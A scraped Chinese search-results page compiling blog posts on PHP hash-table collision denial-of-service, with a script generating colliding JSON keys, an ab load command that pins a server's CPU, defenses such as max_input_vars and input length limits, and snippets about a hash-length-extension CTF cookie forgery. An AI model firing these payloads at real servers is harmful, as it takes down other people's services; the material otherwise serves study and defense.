精华内容
下载资源
问答
  • php的数组就是利用hash表实现的,对于碰撞的数据,php采用双向链表解决方案,所以可以利用PHP的数组进行hash碰撞攻击。 二、模拟攻击 很多接口都采用json数据格式来传输,通常php都会使用php:input获得数据流,然后...

    一、前言

    hash碰撞攻击就是构造恶意的数据是hash表退化为链表,每次插入数据都会遍历链表,消耗大量服务器资源,从而达到攻击目的。php的数组就是利用hash表实现的,对于碰撞的数据,php采用双向链表解决方案,所以可以利用PHP的数组进行hash碰撞攻击。

    二、模拟攻击

    很多接口都采用json数据格式来传输,通常php都会使用php:input获得数据流,然后使用json_decode解析json数据。例如:

    $json = file_get_contents('php://input');
    $arr = json_decode($json, true);
    var_dump($arr);
    

    这种很容易被人利用hash碰撞攻击,导致cpu资源被耗尽。

    下面我们来看看构造65536个元素的正常数组和恶意数组所需要的时间:
    创建一个test.php脚本,写入

    
    $size = pow(2, 16);
    $arr = [];
    $startTime = microtime(true);
    for($i=0,$k=0; $i<$size; $i++,$k+=$size) {
            $arr[$k] = 0;
    }
    $endTime = microtime(true);
    echo "恶意插入{$size}个元素耗时 ", $endTime - $startTime, " s\n";
    
    file_put_contents('./hash.json', json_encode($arr));
    
    $arr = [];
    $startTime = microtime(true);
    for($i=0; $i<$size; $i++) {
        $arr[$i] = 0;
    }
    $endTime = microtime(true);
    echo "正常插入{$size}个元素耗时 ", $endTime - $startTime, " s\n";
    
    

    先用php5.6运行此脚本:
    在这里插入图片描述
    由上图可以看到耗时相差巨大。

    下面再用php7运行此脚本:
    在这里插入图片描述

    由上图可以看出php7比php5.6耗时短的多,这是由于php7优化了hash表的结构和算法,性能提升很多。但恶意插入还是比正常插入耗时长的多。

    我们再写一个简单的接口,利用刚才生成的恶意的数据来模拟攻击,同时利用top命令看看系统资源消耗。
    脚本:

    $json = file_get_contents('php://input');
    $startTime = microtime(true);
    $arr = json_decode($json, true);
    $endTime = microtime(true);
    echo "解析数据耗时 ", $endTime - $startTime, " s\n";
    

    攻击前的系统资源占用情况:
    在这里插入图片描述

    下面利用curl模拟攻击:
    在这里插入图片描述

    同时使用top命令查看:
    在这里插入图片描述
    可以看到cpu资源被耗尽,这还只是一条请求,如果使用ab压力测试,cpu资源会长时间被耗尽。
    可以使用以下命令模拟:

    ab -n 1000 -c 100 -s 1000 -p './hash.json' http://127.0.0.1/test2.php
    

    会发现cpu一直处于100%,要想停下来,只有重启php-fpm

    service php-fpm restart
    

    至于hash碰撞攻击的原理,网上很多,我就不详细说了,下面说说怎么防御。

    三、hash碰撞攻击的防御

    其实不光json_decode有这个问题,牵扯到数组的都会有这个问题。比如GET/POST/COOKIE,均有此问题。

    GET/POST/COOKIE可以通过设置max_input_vars来解决。打开php.ini文件,找到此位置,修改其值,默认大小是1000。
    在这里插入图片描述

    至于json_decode这个问题,通常都是在接口容易被攻击。
    所以通常用以下方法解决:
    1、加密传输数据,自家应用接口可以采用对称加密,因为加解密速度快。开放给第三方的接口可以使用非对称加密,虽然加解密速度没有对称加密快,但是更安全点。
    2、使用$json = file_get_contents('php://input');获取数据后校验数据长度,根据业务特点规定最大长度,超过这个长度就报错。
    3、也可以将接收到的数据转为json对象,而不转成数组。即json_decode()函数不要设置第二个参数为true
    4、使用php7以上版本,php7相比于php5,性能提升非常多。

    展开全文
  • 之前介绍了所有语言通用的Hash Collision攻击原理 一种高级的DoS攻击-Hash碰撞攻击 ,介绍的比较宽泛。因为Java相关的Hash Collision...网上关于PHP Hash Collision的文章特别多,得益于很多年前鸟哥的一篇文章 PHP...

    之前介绍了所有语言通用的Hash Collision攻击原理 一种高级的DoS攻击-Hash碰撞攻击 ,介绍的比较宽泛。因为Java相关的Hash Collision文章比较少,所以最先写了Java的攻击原理 Java Hash Collision之数据生产

    网上关于PHP Hash Collision的文章特别多,得益于很多年前鸟哥的一篇文章 PHP数组的Hash冲突实例,因为这篇文章让行业内的PHPer们都愿意花时间去了解。

    哈希表是一种查找效率极高的数据结构,PHP中的哈希表用于表示Array数据类型,在Zend虚拟机内部也用于存储上下文环境信息(执行上下文的变量及函数均使用哈希表结构存储)。

    理想情况下哈希表插入和查找操作的时间复杂度均为O(1),任何一个数据项可以在一个与哈希表长度无关的时间内计算出一个哈希值(key),然后在常量时间内定位到一个桶(术语bucket,表示哈希表中的一个位置)。当然这是理想情况下,因为任何哈希表的长度都是有限的,所以一定存在不同的数据项具有相同哈希值的情况,此时不同数据项被定为到同一个桶,称为碰撞(collision)。哈希表的实现需要解决碰撞问题,碰撞解决大体有两种思路,第一种是根据某种原则将被碰撞数据定为到其它桶,例如线性探测——如果数据在插入时发生了碰撞,则顺序查找这个桶后面的桶,将其放入第一个没有被使用的桶;第二种策略是每个桶不是一个只能容纳单个数据项的位置,而是一个可容纳多个数据的数据结构(例如链表或红黑树),所有碰撞的数据以某种数据结构的形式组织起来。

    不论使用了哪种碰撞解决策略,都导致插入和查找操作的时间复杂度不再是O(1)。以查找为例,不能通过key定位到桶就结束,必须还要比较原始key(即未做哈希之前的key)是否相等,如果不相等,则要使用与插入相同的算法继续查找,直到找到匹配的值或确认数据不在哈希表中。

    PHP是使用单链表存储碰撞的数据,因此实际上PHP哈希表的平均查找复杂度为O(L),其中L为桶链表的平均长度;而最坏复杂度为O(N),此时所有数据全部碰撞,哈希表退化成单链表。哈希表结构如下图

    Hash Collition

    Hash Function也叫哈希散列函数,通过散列函数我们能将各种类型的key转换为有限空间内的一个内存地址。常见的散列函数有MD5,SHA*。不过HashTable中基本不会用MD5,SHA*算法,因为这两类算法太耗时,基本所有的编程语言都会选择Times*类型算法,比如Times31,times33,times37。Java使用的Hash算法为Times31,PHP使用的Hash算法为times33……

    一. PHP Hash function实现

    PHP HashTable的哈希算法如下:

    hash(key)=key & nTableMask

    即简单将数据的原始key与HashTable的nTableMask进行按位与即可。如果原始key为字符串,则首先使用Times33算法将字符串转为整形再与nTableMask按位与。

    hash(strkey)=time33(strkey) & nTableMask

    下面是Zend源码中查找哈希表的代码:

    ZEND_API int zend_hash_index_find(const HashTable *ht, ulong h, void **pData)
    {
        uint nIndex;
        Bucket *p;
     
        IS_CONSISTENT(ht);
         //获取索引
        nIndex = h & ht->nTableMask;
     
        p = ht->arBuckets[nIndex];
        while (p != NULL) {
            if ((p->h == h) && (p->nKeyLength == 0)) {
                *pData = p->pData;
                return SUCCESS;
            }
            p = p->pNext;
        }
        return FAILURE;
    }
    //用于查找字符串key 
    ZEND_API int zend_hash_find(const HashTable *ht, const char *arKey, uint nKeyLength, void **pData)
    {
        ulong h;
        uint nIndex;
        Bucket *p;
     
        IS_CONSISTENT(ht);
     
        h = zend_inline_hash_func(arKey, nKeyLength);
        //获取索引
        nIndex = h & ht->nTableMask;
     
        p = ht->arBuckets[nIndex];
        while (p != NULL) {
            if ((p->h == h) && (p->nKeyLength == nKeyLength)) {
                if (!memcmp(p->arKey, arKey, nKeyLength)) {
                    *pData = p->pData;
                    return SUCCESS;
                }
            }
            p = p->pNext;
        }
        return FAILURE;
    }

    二. 通过PHP zend_hash_index_find函数实现逆推

    知道了PHP内部哈希表的算法,就可以利用其原理构造用于攻击的数据。一种最简单的方法是利用掩码规律制造碰撞。上文提到Zend HashTable的长度nTableSize会被圆整为2的整数次幂,假设我们构造一个2^16的哈希表,则nTableSize的二进制表示为:1 0000 0000 0000 0000,而nTableMask = nTableSize – 1为:0 1111 1111 1111 1111。接下来,可以以0为初始值,以2^16为步长,制造足够多的数据,可以得到如下推测:

    0000 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

    0001 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

    0010 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

    0011 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

    0100 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

    ……

    概况来说只要保证后16位均为0,则与掩码位于后得到的哈希值全部碰撞在位置0。

    三. 通过脚本批量产出碰撞数据

    如上我们已经推算出碰撞数据的实现方式,接下来我通过PHP生成碰撞数据。如果要生成大量的碰撞数据,这里最好不要使用PHP来生成,因为操作不当就会变成攻击自己的脚本。

    $size = pow(2, 16); // 16 is just an example, could also be 15 or 17
    $maxKey = ($size - 1) * $size;
    $startTime = microtime(true);
    $array = [];
    for ($key = 0; $key <= $maxKey; $key += $size) {
        $array[$key] = 0;
    }
    file_put_contents("t.log",json_encode($array));
    $endTime = microtime(true);
    
    echo 'Inserting ', $size, ' evil elements took ', $endTime - $startTime, ' seconds', "\n";

    最后我们生成了如下数据(截取了前面几条):

    {
        "0":0,
        "65536":0,
        "131072":0,
        "196608":0,
        "262144":0,
        "327680":0,
        "393216":0,
        "458752":0,
        "524288":0,
        "589824":0,
        "655360":0,
        "720896":0
    }

    四. 在PHP中测试碰撞数据

    通过程序我们生成了65536条碰撞数据,然后在Laravel中做个简单的测试,测试代码如下:

    public function posts(){
    
        $startTime = microtime(true);
        //获取http body中的数据
        $rest = $this->request->getContent();
        json_decode($rest,true);
        $endTime = microtime(true);
    
        echo ' evil elements took ', $endTime - $startTime, ' seconds', "\n";
    }

    测试结果,一个CPU被打到100%,持续了20多秒。结束该php-fpm进程后恢复。

    至此写了三篇关于HashTable的文章,前两篇文章开头都有链接,能帮助大家对HahsTable有更深的理解,之后不会再更新HashTable相关的文章了。

    我的博客原文地址:PHP Hash Collision攻击原理

    展开全文
  • 主要介绍了PHP利用hash冲突漏洞进行DDoS攻击的方法,实例分析了php利用hash进行DDoS攻击的原理与实现技巧,需要的朋友可以参考下
  • 基于HASH漏洞攻击脚本 PHP多进程版本
  • PHP多线程版本HASH漏洞攻击工具

    千次阅读 2011-12-31 19:24:42
       系统要求:linux操作系统,PHP版本5及以上cli模式,多进程模式需要pctnl扩展支持。    使用方式: 下载附件并解压,例如解压到 /usr/local/kalondos目录下  ...假如PHP命令路径为:/usr/local/php5/bin/php

       漏洞相关信息: http://www.laruence.com/2011/12/30/2435.html

     

       系统要求:linux操作系统,PHP版本5及以上cli模式,多进程模式需要pctnl扩展支持。

     

      使用方式:  下载附件并解压,例如解压到 /usr/local/kalondos目录下 

     

    假如PHP命令路径为:/usr/local/php5/bin/php 

     

    开启攻击: /usr/local/php5/bin/php   /usr/local/kalondos/bin/dos.php  www.xxxxxx.com/test.php  -n 8   -r 10000  -p  16

    此时会提示父进程的一些执行流信息,然后子进程开始发起攻击,一般要等1分钟左右可以看到子进程输出相关信息。

     

    参数说明:

    n: 子进程个数

    r: 单个子进程请求次数

    p:参数因子 为2的指数  控制POST参数数量,一般为16

     

    关闭攻击: /usr/local/php5/bin/php   /usr/local/kalondos/bin/dos.php  www.xxxxxx.com/test.php  stop

     

     

     

    目前是最精简版,完善中..

     

    仅供学习交流,如作它用,后果自负。

     

     http://download.csdn.net/download/phpkernel/3989492

     

    展开全文
  • hash长度扩展攻击

    2019-04-11 20:37:08
    hash长度扩展攻击探索 这几天在jarvis-oj平台看见了一个有关于hash长度扩展攻击的题,第一次见,来研究下。题目名:flag在管理员中 一、 首先打开网页,习惯性的查看源代码,啥都没有,猜测可能有源代码泄露 所以...

    hash长度扩展攻击探索

    这几天在jarvis-oj平台看见了一个有关于hash长度扩展攻击的题,第一次见,来研究下。题目名:flag在管理员中
    一、
    首先打开网页,习惯性的查看源代码,啥都没有,猜测可能有源代码泄露
    所以我们用脚本来扫一下
    e6924e2b2ae282240b5839b32b2df168.png
    我们打开第一个
    有:
    下载得到文件
    index.php~

    这个其实是php的备份恢复文件,拿到lunix下,重命名为index.php.swp ,使用命令vim -r index.php 即可恢复原来的php文件
    得到源码:

    <!DOCTYPE html>
    <html>
    <head>
    <title>Web 350</title>
    <style type="text/css">
    	body {
    		background:gray;
    		text-align:center;
    	}
    </style>
    </head>
    
    <body>
    	<?php 
    		$auth = false;
    		$role = "guest";
    		$salt = 
    		if (isset($_COOKIE["role"])) {
    			$role = unserialize($_COOKIE["role"]);
    			$hsh = $_COOKIE["hsh"];
    			if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
    				$auth = true;
    			} else {
    				$auth = false;
    			}
    		} else {
    			$s = serialize($role);
    			setcookie('role',$s);
    			$hsh = md5($salt.strrev($s));
    			setcookie('hsh',$hsh);
    		}
    		if ($auth) {
    			echo "<h3>Welcome Admin. Your flag is 
    		} else {
    			echo "<h3>Only Admin can see the flag!!</h3>";
    		}
    	?>
    	
    </body>
    </html>
    

    我们通过
    hash_extender+python来解密
    借用大佬脚本

    
    # -*- coding:utf-8 -*-from urlparse import urlparse
    from httplib import HTTPConnection
    from urllib import urlencode
    import json
    import time
    import os
    import urllib
    def gao(x, y):
            #print x
            #print y
        url = "http://web.jarvisoj.com:32778/index.php"
        cookie = "role=" + x + "; hsh=" + y
            #print cookie
        build_header = {
                'Cookie': cookie,
                'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44.0',
                'Host': 'web.jarvisoj.com:32778',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        }
        urlparts = urlparse(url)
        conn = HTTPConnection(urlparts.hostname, urlparts.port or 80)
        conn.request("GET", urlparts.path, '', build_header)
        resp = conn.getresponse()
        body = resp.read()
        return body
    for i in xrange(1000):
        print i
        # secret len = ???
        find_hash = "./hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f md5  -a ';\"nimda\":5:s' --out-data-format=html -l " + str(i) + " --quiet"
        #print find_hash
        calc_res = os.popen(find_hash).readlines()
        hash_value = calc_res[0][:32]
        attack_padding = calc_res[0][32:]
        attack_padding = urllib.quote(urllib.unquote(attack_padding)[::-1])
        ret = gao(attack_padding, hash_value)
        if "Welcome" in ret:
            print ret
            break
    

    要在hash_extender下使用此脚本
    注意:e4b51539fd0f05c33860c7208db9e5db.png
    在做其他题的时候将此处网址改变
    运行后得到
    9de122d78994f94a06e32f497f37156a.png
    其实这个原理我不太同,通过网上其他大佬的解释,我们使用另一种方法
    二、
    我们先使用bp抓包
    5d786b1bb91f830cdd6403a10c0935b0.png
    我们的到两个cookies
    role 和 hsh 这两个非常重要
    我们接下来要做的就是通过bp修改cookie的值来通过验证
    我们先来审计一下源码
    注意这里:

    a31c769a510e1343b4c139027a2e3c83.png
    我们想使auth为true
    条件是变量为admin
    这个好办
    如图:
    19b2aa1ebf7269f3cd7083b3069cd0cc.png
    之后就是后面的那个条件
    hash扩展长度攻击是可以通过1.已知的hash值
    2.密文的长度,或内容
    3.原来的识别数据
    我们可以通过使用
    hashpump
    进行生成新的role与hsh
    注意:
    1.我们可以通过代码推出原来的cookie【role】
    2.注意有序列化,和字符串反向
    如图:
    63d69f072eec679df2c64dff1087b268.png
    别忘了我们将\x换为%

    变为

    s%3a5%3a"admin"%3b%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s%3a5%3a"guest"%3b; hsh=fcdc3840332555511c4e4323f6decb07
    

    具体怎么变得有待探讨
    emm
    修改后就得到了flag

    展开全文
  • 通过PHPhash冲突漏洞进行DDoS攻击

    万次阅读 2012-01-01 00:12:56
    上回咱说到了最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。 攻击原理: 通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理...
  • 关于哈希碰撞和PHP中的哈希算法,去大神那看吧...步骤一:生成一个文件,里面就是我们要使用的参数,也就是一堆要碰撞的hashkey  代码(data.php):    $arr=array();  $t=pow(2,16)
  • Hash Collision DoS 攻击

    2018-07-18 21:03:31
    Hash Collision DoS能让受攻击的服务器变得巨慢无比。 这不是因为服务器的编码原因或是疏忽造成的,而是程序语言自身的问题,Hash Collision DoS利用了各语言中Hash算法的“非随机性”可以制造出N多不一样的...
  • hash扩展攻击本地实验

    2018-08-03 10:59:00
    记录一下自己对hash扩展攻击的一些理解,hash扩展攻击主要应用于身份认证,比如对于成功登录的用户可以赋予其一个采用hsah算法加密的cookie值,其中含有未知的密钥。  此后每次在服务器端验证此cookie中的凭证是否...
  • 这是迄今为止第一个让我觉得后怕的攻击方式,涉及的范围广难以防御,攻击效果...大量的网站和Web接口都未做Hash碰撞攻击的防御,一拿一个准。 随着RESTful风格的接口普及,程序员默认都会使用json作为数据传递的方式。
  • php 中比较字符串相等时如果使用双等 == 可能会有时序攻击的危险. 比如比较 "abscdd" == $request-&gt;code 那么两个字符串是从第一位开始逐一进行比较的,发现不同就立即返回 false,那么...
  • 通过PHPhash冲突漏洞进行DDoS攻击  攻击原理:  通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽...
  • 1.HashHash碰撞 Hash,简单来讲,是一种将任意长度的输入变换成固定长度的输出。Hash函数通常被翻译成散列函数。Hash通常用来校验信息的一致性。Hash函数的实现多种多样,在安全领域应用最为广泛的是SHA-x系列和...
  • 使用Hash碰撞进行DoS攻击

    千次阅读 2019-05-22 10:31:39
    一、哈希表碰撞攻击的基本原理 哈希表是一种查找效率极高的数据结构,很多语言都在内部实现了哈希表。PHP中的哈希表是一种极为重要的数据结构,不但用于表示Array数据类型,还在Zend虚拟机内部用于存储上下文环境...
  • 最近做了几个题目,又学到新的知识点,是有关Hash长度扩展攻击 参考了一波P牛的博客还有我们学校的博客: http://www.cnblogs.com/pcat/p/5478509.html ...
  • 作者: Laruence本文地址: http://www.laruence.com/2011/12/30/2440.html
  • 通过PHPhash冲突漏洞进行DDoS攻击的解决办法 最近各语言爆hash碰撞漏洞。包含php,ruby,python,java各个语言。Microsoft的.net也受影响。 hash碰撞原理: Hash,简单来讲,是一种将任意长度的输入变换成...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 12,047
精华内容 4,818
关键字:

hash攻击php